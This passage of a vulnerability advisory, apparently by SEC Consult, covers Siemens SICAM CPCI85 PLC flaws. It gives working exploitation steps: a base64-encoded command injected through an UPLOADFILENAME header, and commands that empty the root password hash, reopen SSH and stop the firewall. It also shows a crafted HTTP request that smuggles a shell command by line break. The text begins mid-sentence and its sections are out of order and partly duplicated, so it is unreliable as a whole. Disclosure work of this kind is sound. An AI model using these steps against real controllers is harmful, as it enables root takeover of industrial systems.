From more resource-efficient factories, resilient supply chains, and smarter buildings and grids, to cleaner and more comfortable transportation as well as advanced healthcare, we create technology with purpose adding real value for customers." Source: https://new.siemens.com/global/en/company/about.html Business recommendation: ------------------------ The vendor provides a patch which should be installed immediately. Customers should update to CPCI85 V05 or later version. (https://support.industry.siemens.com/cs/ww/en/view/109804985/) SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues. The port is used to configure and control Siemens PLCs with the Siemens Toolbox II application and is typically accessible on such devices. 2) Authenticated Command Injection (CVE-2023-33919) Due to missing server-side input sanitation, any user with access to the SICAM WEB interface can execute arbitrary commands as user "root" on the device. This works by setting malicious parameters and starting an Ethernet package capture. 3) Hard-coded Root Password (CVE-2023-33920) The PLC contains a hard-coded "root" user password hash. This password hash is the same on all devices. If the corresponding password is known, it could be used to login via UART and SSH. 4) Console Login via UART (CVE-2023-33921) The UART interface can be accessed with physical access to the PCB. After connecting to the interface, boot information is given and a login prompt is provided. Login as "root" user is possible after changing the hard-coded "root" password hash (see 1,2, and 3). No "/" characters can be used, therefore commands are encoded as base64, e.g., "id" as "aWQ=". The command must be provided as UPLOADFILENAME header. A full command looks as follows: ;echo aWQ=| base64 -d | sh # The following header format must be obeyed: * User-Agent: SICAM TOOLBOX II * Session-ID: [ARBITRARY 16 CHARACTERS] * UPLOADFILENAME: [COMMAND] Additionally, the request body must contain the following POST parameters: * type=20 * length=[ARBITRARY] * data=[ARBITRARY] A valid request can be seen below: ----------------------------------------------------------------------- [ POC request removed ] ----------------------------------------------------------------------- If it worked, the response body will be "type=21". Additionally, the output on the UART interface indicates code execution as root user: ----------------------------------------------------------------------- base64: /ies/IN/_: No such file or directory uid=0(root) gid=0(root) ----------------------------------------------------------------------- Subsequently, the SSH port can be opened by sending the following commands separately and encoded as base64 string. They will replace the set default root password hash with an empty password hash, reconfigure the Dropbear SSH daemon and stop the firewall: ----------------------------------------------------------------------- sed -i s'/:$6$jNY7stPOMCNi$bMqOCQX0ClFK3PyNPUyDvuF2xKOJ8j00v79.wXGV0BG7cxKc8aCo\/FWtDljQjCbm6JnZqxiMg re5P14Kv2zAH1:/:32BZgrJ3XBMoY:/' /etc/shadow sed -i s'/"$DROPBEAR_ARGS -R -s -g"/"$DROPBEAR_ARGS -R"/' /etc/init.d/dropbear /etc/init.d/dropbear restart /etc/init.d/rc.firewall stop ----------------------------------------------------------------------- After this, login via SSH as root is possible: ----------------------------------------------------------------------- ssh root@[IP] root@[IP]'s password: ~# id uid=0(root) gid=0(root) groups=0(root),10(wheel) ~# ----------------------------------------------------------------------- 2) Authenticated Command Injection (CVE-2023-33919) To trigger the command injection vulnerability, the payload must be set in the "LAN port group" field on the SICAM WEB page "Monitoring & Simulation" -> "Ethernet Packet Capture" section "Capture configuration" (other fields may also be affected). As the web interface only provides a drop-down menu, the payload must be set by manipulating the JavaScript logic or by directly manipulating the HTTP request as below, where "ping [IP]\nBBBBBBB" was set: ----------------------------------------------------------------------- POST /sicweb-ajax/rtum85/cview HTTP/1.1 Host: [HOST] User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/xml SICWEB-SID: xNG1v825qFmCMo8hpjfISlVARKipW1B+lz9d5FoBxipR87VT Content-Length: 198 Origin: http://[HOST] Connection: close Referer: http://[HOST]/ <?xml version="1.0" encoding="UTF-8"?> <Cmd_SetCustomViewValue><view id="packet_capture"><parameter id="p0"> <value> ping [IP] BBBBBBB</value> </parameter></view></Cmd_SetCustomViewValue> ----------------------------------------------------------------------- The line break in the payload is especially important, as the command is executed as part of a shell script.
